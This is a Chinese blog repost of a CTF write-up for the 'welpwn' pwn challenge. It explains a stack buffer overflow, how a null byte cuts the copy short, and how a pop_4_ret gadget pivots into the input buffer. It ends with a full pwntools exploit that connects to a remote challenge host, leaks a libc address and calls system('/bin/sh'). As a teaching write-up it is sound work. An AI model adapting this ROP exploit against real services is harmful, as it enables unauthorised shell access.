欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

【PWN系列】攻防世界pwn进阶区welpwn分析

程序员文章站 2024-01-20 09:05:40
...

个人博客地址

http://www.darkerbox.com

欢迎大家学习交流

分析

下载文件直接拖入ida分析。开了NX保护,一般就是rop
【PWN系列】攻防世界pwn进阶区welpwn分析

函数代码也比较简单。read那里也不存溢出。都是0x400。
紧接着调用了echo函数。

【PWN系列】攻防世界pwn进阶区welpwn分析
在echo函数中,将大小为0x400的buf中的值复制给大小为0x10的s2,。很明显会造成溢出。唯一的问题就是,如果Buf中含有\x00。会中断循环。

【PWN系列】攻防世界pwn进阶区welpwn分析

函数运行的整体流程就是,用户输入的字符串会存放到buf中,在echo函数中,将buf复制到s2时造成了溢出。通过循环逐字节复制,如果读取到00字节,则会中断循环。

这会影响我们的rop构造,因为我们寻找的gadgat都会存在00字节

利用

这是64位的程序,传参基本都在寄存器里。所以栈结构大致如下。
【PWN系列】攻防世界pwn进阶区welpwn分析
因为00截断的原因,所以我们不能直接rop,我们将rop链移到buf中,pop_4_ret的作用就是pop掉buf中的"A"*0x10+"bbbbbbbb"+pop_4_ret。然后再buf中进行rop。

p64(pop_4_ret)中是含有00的,如下图,红框中的就是p64(pop_4_ret)。所以s2实际上是27个字节。

【PWN系列】攻防世界pwn进阶区welpwn分析

明白这点后,后面就是普通的泄露函数实际地址,找libc基址,构造rop了。

Exploit

from pwn import *
from LibcSearcher import *

context.log_level="debug"

# p = process("./welpwn")
p = remote("220.249.52.133",55728)
elf = ELF("welpwn")

start = elf.symbols['_start']
write_got = elf.got['write']
puts_plt = elf.plt['puts']
pop_rdi = 0x00000000004008a3
pop_4_ret = 0x000000000040089c


p.recvuntil("RCTF\n")
payload = ""
payload += "A"*0x10
payload += "bbbbbbbb"
payload += p64(pop_4_ret)
payload += p64(pop_rdi)
payload += p64(write_got)
payload += p64(puts_plt)
payload += p64(start)
p.sendline(payload)

print "----"+p.recv(1024)
print "----"+p.recv(27)
write =  u64(p.recv(6).ljust(8,'\x00'))
log.success("write = "+hex(write))
obj = LibcSearcher("write", write)

write_offset = obj.dump("write")
system_offset = obj.dump("system")        #system offset
sh_offset = obj.dump("str_bin_sh")    #/bin/sh offset

libc_base = write - write_offset
log.success("libc_base = "+hex(libc_base))


# p.recvuntil("RCTF\n")
payload = ""
payload += "A"*0x10
payload += "bbbbbbbb"
payload += p64(pop_4_ret)
payload += p64(pop_rdi)
payload += p64(libc_base + sh_offset)
payload += p64(libc_base + system_offset)
p.sendline(payload)

p.interactive()

欢迎一起学习交流,共同进步,欢迎加入信息安全小白群

【PWN系列】攻防世界pwn进阶区welpwn分析

相关标签: pwn